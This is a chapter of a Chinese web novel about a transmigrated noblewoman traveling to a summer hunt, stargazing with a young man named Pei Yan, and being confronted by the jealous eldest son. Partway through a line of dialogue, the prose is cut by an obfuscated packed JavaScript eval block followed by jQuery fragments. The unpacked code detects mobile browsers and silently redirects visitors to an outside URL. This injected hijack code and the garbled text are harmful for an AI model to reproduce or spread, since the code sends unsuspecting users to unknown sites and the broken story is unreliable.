窗外的蝉鸣声越发猖獗,又过了段日子,已经来到了盛夏。
就算是入了夜也觉得燥热,直到后半夜,叶冬知才堪堪睡去。
天光破晓,阿蔷打了温水进屋,将她从榻上扶起来,一边为她梳洗一边道:“小姐,今日不能贪睡了,前些日子圣上下令去西凤山避暑围猎,所有五品以上的大臣随行,家中子女也需跟着去,估摸着大公子他们已经收拾妥当了。”
叶冬知睡眼惺忪,想起来如今皇帝称不上经世之才,倒也不算昏庸之辈,在辅政大臣的辅佐之下,这江山还算坐得平稳,平生最爱赏花踏春、游山玩水。
于是,她点点头,顺着阿蔷,将一切都收拾妥当了,去了府邸门口。
马车停在府门处,紫檀为身,鎏金为饰,车檐悬着一串串莹白珍珠,风动流苏,流光溢彩,若是隔远了望去,便如一座移动的琼楼玉宇。
这才是永定侯府真正的底蕴。
马车宽敞,足以容纳五六个人。
叶冬知掀帘上车时,见车内早已端坐一人。
今日邬涟着了一身石青的锦袍,墨发被玉冠束起,神色一如既往地冷淡。
见她上车,他只堪堪扫过一眼便将视线收回,捧着手中的书卷继续阅读。
叶冬知走过他,寻了最里面的位置坐下。
坐下好一会,邬彦与邬雯二人终于姗姗来迟。
上车后,邬彦径直走到叶冬知的身侧坐下。
邬彦脸皮薄,尽管他竭力掩饰,但脸上的红晕却在他白皙的肤色下明显不已。
人齐了,马车缓缓行驶。
一路上,邬彦将自己平日听来的趣闻一一说与叶冬知听,偶尔说到她感兴趣之处,她也不时应和几句,一来一回,邬彦的兴致越发高涨。
耳畔的欢笑声不绝于耳,邬涟面上看不出分毫,然而手上的书卷却越握越紧。
他唇绷得很紧,突而道:“聒噪。”
原本热闹的车厢一下子安静下来,邬彦与叶冬知齐齐看向邬涟,见他自书卷中抬起眼,眼中墨色很重,他直直盯着叶冬知,又道了几字。
“你坐过来。”
没有缘由,但车内无人敢质疑和反驳。
叶冬知不解地眨眨眼,装作不知道这句话是对她说的,于是故意拿手肘碰了碰邬彦的衣袖,示意他接着往下说。
邬彦反应过来,却不太敢像叶冬知那般自在,但到底不忍心冷落她,只好在邬涟锐利的视线中硬着头皮接着说下来。
车厢内虽然依旧充盈着话语声,但夹杂的气氛显然不如开始一般自然。
渐渐地,邬彦感觉自己身上那道视线前所未有的强烈,比他做错了课业在长兄面前受罚之时还要可怕。
他突然噤了声,将头微微垂了下去。
叶冬知心不在焉地听着,正听到一半发现邬彦没了声响,便下意识抬起头来,与对面的邬涟撞了个正着。
早晨的日头不太盛,晨光透过车帘悄悄照亮一角。
好似熹光也格外眷恋美貌的人,他根根分明的眼睫,以及脸上细腻的绒毛仿佛有光在跳跃。
只是,他的眼神却并不如他的面容一般风光霁月,反而透着黑压压的不悦。
她知道,邬涟这是又生闷气了。
但转念一想她的任务,她又释怀了。
不过她更好奇的是,邬涟现在对她到底有多少真心。
思及此,她也没听他的话坐到他身边去,反而闲闲打量了一下他与邬彦,随即评价道:
“二公子今日这身衣裳甚是好看,衬得二公子英姿勃勃。”
邬彦听了,顿时脸红得如有火在烧。
确实,他今日一大早听说叶小姐也去围猎之时,特意打扮了一番。
他红着脸应道:“叶小姐谬......谬赞。”
叶冬知弯弯眼眸,状若无意看了一眼邬涟,却见对方除却方才有几分不悦,这会已经敛了神色,仿佛像没听见她的话一般。
呵。
挺能装。
见他不上套,她也懒得再计较,本来昨夜就睡得不好,到西凤山还得行好几个时辰,正好再睡会。
马车内壁都贴着软靠,靠上去并不会觉得硌得慌。
这一觉,叶冬知睡了整整三个时辰。
醒来的时候已经快到西凤山的山脚。
此处果然是避暑胜地,进山不久,那股燥意便消退不少。
林中鸟鸣阵阵,淡淡的花香缭绕在周遭。
叶冬知赶忙掀起车帘,穿越过来这么久,还是第一次来到这么远的地方,这里山水如画,比之京都的景色大有不同。
邬雯见到叶冬知一脸惊奇的样子,冷哼一声,真是丢人,一副没见过世面的样子。
马车后有“哒哒”的马蹄声传来,很快,一人一马映入叶冬知的眼帘。
少年一身骑装,包裹住劲瘦的身材,宽肩窄腰,双腿修长有力,跨坐在一匹红棕烈马之上,好不嚣张恣意。
“叶小姐!”
清越的少年声音传来,她亦是有些惊喜,“裴公子啊,你也来了。”
裴砚打马停住,继续道,“自上次太子殿下遇险,我们倒是有许久没见了,对了,你的伤势恢复得如何?”
她摸着那处肩头,想起受伤后府中的好药便没断过,因此很快变好了,如今也未留下什么疤痕。
“劳烦裴公子挂念,我已经没事了。”
“那就好,我本来还想着得闲的时候去看望你,但府中事务繁多,难以抽出身来。”
叶冬知见他似乎是真为她有些担忧,内心不禁生出几分感慨,她抿唇笑,正欲再说话时,忽闻一声清脆的呼唤:
“裴公子!”
她侧目一看,原来是邬雯不知什么时候坐到了她身边,正撩起车帘娇羞地同裴砚打招呼。
裴砚笑着回礼,却并未再多言,他趁着邬雯不注意,对着叶冬知做了个口型,才笑着纵马离开。
等邬雯回过神来,发现裴砚已经走在了前面,从车窗看去只能远远看见一个背影。她失落地叹了口气,随即对着叶冬知语气酸涩地问道:“你什么时候同裴公子走得这般近了?你可得清楚自己的身份。”
叶冬知哪里会不知她的小女儿心思,只道,“朋友而已。”
邬雯自是不信她的话,连着看叶冬知的眼神也愈发不善。
狐媚子,把哥哥的魂勾走了不说,现在又想沾染裴公子,果真是小门小户,不知廉耻。
邬雯还想讽刺两句,然而一直未出声的邬涟突然道:“到了,下车罢。”
叶冬知敏锐地从其中听出了几分不寻常的意味来。
但她现在满心都是对这避暑胜地的好奇,也未将他这句话放在心上。
邬彦邬雯二人坐在外侧,等他们依次下了车,她也迫不及待要跟着下车时,身后的人忽然道:
“你与裴砚倒是相熟。”
云淡风轻的口吻,气定神闲的态度,唯有说话时那若有似无的阴阳怪气,昭示着他此刻的心情并不如这景色一般明媚。
但她此刻没心思去琢磨他话里的意思,便只敷衍道:“还行吧,说过几句话。”
说完,她就赶紧下了车,一头钻进了林中。
满山翠绿,郁郁葱葱的山林中开着许多野花,鼻间呼吸的气息都如此清新,不远处的瀑布声传来,夹杂着鸟儿惊飞时的声音。
好不惬意。
车内的邬涟并未急着下车,他的手撩着车帘,看见那窈窕雀跃的身影逐渐跑远,他眸间神色也逐渐沉了下来。
*
西凤山景色昳丽,顶部修有一座行宫,但面积不大,只够皇帝与随行的妃嫔歇息,其余人等皆只能寻平缓之地扎帐篷。
随行的侍卫将叶冬知的帐篷扎好时,已经是傍晚了。
此处正好位于半山腰,周围树木稀疏,是以一眼便可望见硕大的夕阳自面前悠悠落下山去。
山上到底不比府中,夜晚多寒凉,阿蔷将叶冬知卧榻的被褥垫了好几层,才放下心来。
永定侯府一行人的帐篷都扎在一处,这会邬彦邬雯在帐里说话,邬涟因公务在身,早早便没了身影。
吃过晚膳,叶冬知忽闻帐篷外传来几声鸟叫,三长一短。
出了帐篷,看见裴砚正站在一颗树后冲着她招手。
她赶紧避过周围的侍从,将裴砚拉到一处较为隐蔽的地方,“你怎么来了?”
裴砚嘴角带着笑意,“白日时我给你说过的,你忘记了?”
说到这个,叶冬知才想起来似乎他确实给她做过口型,只不过当时没太明白他什么意思。
“啊,想起来了,不过你找我有什么事吗,这里人多眼杂,被别人看见又要说闲话了。”
对此,裴砚倒不在意,“我们又没做什么见不得人的事,身正不怕影子斜,让他们说去呗。”
她摇头,叹了口气。
裴砚是男子,又有个首辅祖父,一般人哪敢说他,只怕被唾沫星子淹死的只有她罢了。
见她神色有些担忧,他正好借机说出来意,“你若是担心被人看到,我们换个地方,我来找你,本来也是打算带你去个好地方。”
“好地方?”
“对。”少年马尾高束,眉眼间神采飞扬,听她这样问颇有几分自得,“这里我之前来过,有一处山峰景色异常漂亮,你要去看看吗?”
话才出口,似乎又觉得有些孟浪,便又接着解释道,“我家人丁稀少,除却我,便只有姐姐,姐姐身体不好,是以这次围猎也没来,而我与京中少爷小姐们都无甚交情,思来想去也就与你相熟一些,因此才来找你。”
晚上的山间寂静非常,白日的时候叶冬知便知这里景色好,很有些好奇,加之她现下也无玩伴,略一思索,便道:
“那走吧。”
语罢,又有些开玩笑,“这林间估计会有些飞禽走兽的,你可得看仔细啊,我这下身家性命可全在你手上了。”
少年莞尔一笑,漂亮的桃花眼弯起,“自然。”
裴砚说的地方着实很美。
这是一处高耸的山峰,视野空旷开阔,在这里,可以看到山顶那处精致的行宫,屋檐下挂起的排排宫灯,燃起的烛火被裹在泛黄的绵纸中,将整座行宫照亮,宛若隐世仙宫。
向下俯瞰,便能看见一座座帐篷,错落有致地扎在各处,散落在郁郁葱葱的密林之中。
再往远处看,能隐约看见皇城的踪迹,黄色的灯火将整座城与周围分割开来。
头顶,是漫天星空,似乎抬手便能触碰到星辰。
裴砚见她站着看得痴了,便寻了一块干净平整的空地,问她:“要不坐着看吧,今日舟车劳顿,应当是有些乏累了。”
语罢,他先坐了下来,但又想到叶冬知毕竟是娇养长大的深闺小姐,他略一思忖,将外袍脱了下来。
叶冬知见他突然脱衣服,吓了一跳,狐疑道:“......你要干什么?”
他立马领悟到身旁女子的意思,一时有些失笑,“怕你嫌脏,才拿了我的衣裳给你垫着,你却怀疑我有别的心思。”
曲解了对方的好意,叶冬知脸皮涨红,低声道:“是我想岔了,对不起啊。”
夜色寂寥,微风徐徐,两人坐在一处。自塞北的边关战事到江南的烟柳小曲,从苗疆的风俗蛊毒到中原的繁华淳朴,所有事物经裴砚的嘴说出来,都别有一番趣味。
叶冬知渐渐听得入了迷,她从到这个世界去的最远的地方,便是京郊,这些地方,她也只从古人的游记、诗词中读过。
她捧着脸看着裴砚,忽而问,“你去过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525171|203452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那么多地方,见过不同的风光,还会甘心留在京城吗?”
闻言,裴砚笑意顿了顿,“怎么会想到问这个?”
“有感而发罢了。”她盯着远方,“有时候我倒宁愿自己是个男子,便不会被所谓世俗束缚,若我是你,也许我不会想回到这里。”
说到后面,她语气逐渐低落下来。
是啊,若是没有系统这回事,她还在现代,纵使工作辛苦,但可以想去哪里去哪里,想吃什么吃什么,不用谨守规矩,不必被一句婚约给钉在原地,更不必嫁给一个素不相识的男人。
裴砚听出她语气有些不对劲,不愿她想起伤心往事,忙换了话题,“不说这个了,你看我手里是什么?”
叶冬知看向他的手,只见他的手虚虚握成拳,她好奇地凑过去,见到了一阵微弱的绿光自他掌心散发。
“萤火虫!”她立刻反应过来,惊喜道。
她眼睛在夜色下发亮,像晶莹的琉璃模糊着倒映着他的影子。
“你什么时候抓到的?”
她语气有点惊奇。
裴砚道:“方才。”
“可是我并没有看到有萤火虫啊?”
裴砚不语,只是盯着她笑,随即指了指她身后,“你回头看看呢。”
叶冬知顺着他的话扭头,只见一大片萤火虫正打圈飞着,凝聚成一团绿光。
她站起来去抓,却因穿着复杂的裙装而行动有些不便,好几次险些摔倒。
见状,裴砚不由得叮嘱,“你当心些,若是抓不住便算了,你喜欢的话,我给你抓一些带回去。”
少女有些气急地站在萤火虫中,绿色的微光将她整个人照亮,映得她宛若绿野仙子。
她鬓发有些乱了,闻言,朝着裴砚脆生生应道,眼神发亮,在月色的映照下,仿若流动的星河。
“好啊!”
裴砚站在原地,风吹在脸上,明明该是凉的,但他却觉得脸上逐渐发烫起来。
像是早有准备一般,他拿出一个琉璃的瓶子,轻而易举便抓了几只放进去。
掌心大小的瓶子,几缕绿光在其中不知方向地冲撞。
叶冬知抓累了,干脆又坐回了原地。
她拿着瓶子很是稀奇了一会,但她盯了一会,见里面的绿光依旧还在不断地冲撞,盲目地寻找着出口。
片刻,她将瓶口打开,将里面的绿光一一放走。
“怎么放走了?我见你似乎挺喜欢的。”
裴砚坐在她身旁,有些不解。
她手拖着一侧的腮,轻声道:“看过便罢了,它们若是一直被困在小小的瓶子里,该多绝望。”
裴砚失笑,没再多言。
二人望着山中风景,谁都没开口,一时间周遭寂静无声。
一阵绵长均匀的呼吸声逐渐响起。
裴砚侧头看去,见身侧少女不知何时已然睡着了。
她依旧保持着单手撑着脑袋的动作,担心她睡久了不舒服,他犹豫了半晌,最终还是小心翼翼地将她的手放下去,然后半倾着身子,让她的头可以恰好靠在他肩上。
几缕碎发凌乱地落在她的脸侧,他攥了攥手,将头发拨在了她的耳后。
裴砚让她在肩头睡了好一会,直到夜风有些凉意了,他才缓缓动身。
*
与刑部的人议事完已经过了歇息的时间,邬涟有些疲惫,他行至永定侯府的营地,撞见阿蔷正在帐篷外东张西望,面上焦灼明显。
他一身衣袍在昏暗的灯下更为冷峻,眉头微皱,“你家小姐呢?”
阿蔷是有些怵他的,想着不能出卖小姐,便支支吾吾道:“小姐......小姐她出恭去了,叫奴婢在这等她。”
邬涟在刑部浸淫了好几年,早就练成一副火眼金睛,哪能看不出阿蔷是在撒谎。
他并不戳破,只道:“你作为贴身婢女不跟着主子,守在此处有何用,若是遭遇什么不测,你可担待得起?”
三言两语,就让阿蔷吓出了一身冷汗。
她不敢再抬头,垂着头结结巴巴道:“大公子说的是,是奴婢......奴婢考虑不周,奴婢这就去寻小姐。”
说完这番话,阿蔷只盼望着邬涟能赶紧走。
可惜,邬涟站在那并没有要离开的意思,不光如此,他继续淡声道:“我随你去找。”
这下阿蔷真是没有一点办法了,她急的差点哭出来,眼神左右飘忽,但却迟迟不肯动身。
邬涟在一侧不紧不慢地催促,“还不走,是要等到何时?”
阿蔷脸色一白,心一横,打算实话实说,小姐与裴公子出去这么久,若是说她一点不担心一点不怀疑那是不可能的。
她走到邬涟跟前行了个礼,颤颤巍巍道,“大公子,小姐她——”
周身的气氛陡然凝固。
阿蔷说到一半下意识抬头去看,见邬涟转过身去,神色阴晦不明地盯着一处,眼中墨色比黑夜更沉。
她顺着视线看过去,见裴砚只穿着里衣,怀里抱着熟睡的叶冬知,从帐篷后面绕了出来。
而叶冬知的身上搭着一件衣裳。那衣裳,明眼人一看便知是裴砚的。
阿蔷震惊地愣在原地。
与此同时,裴砚自然也看见了等在叶冬知帐篷前的邬涟。
他收敛了平日里温和的笑意,面无表情时有几分冷硬。
裴砚也不打招呼,径直朝着叶冬知的帐篷走过去。
阿蔷明显感觉到周身的氛围不对,两人之间隐隐像是在对峙。
帐篷内的火光跳跃,映在帐篷的粗布之上,将裴砚的身形朦胧地照亮。
邬涟眸色如寒玉,长睫打下一片乌沉沉的阴翳。
他开口,冷硬而不悦。
“裴砚。”
“放开她。”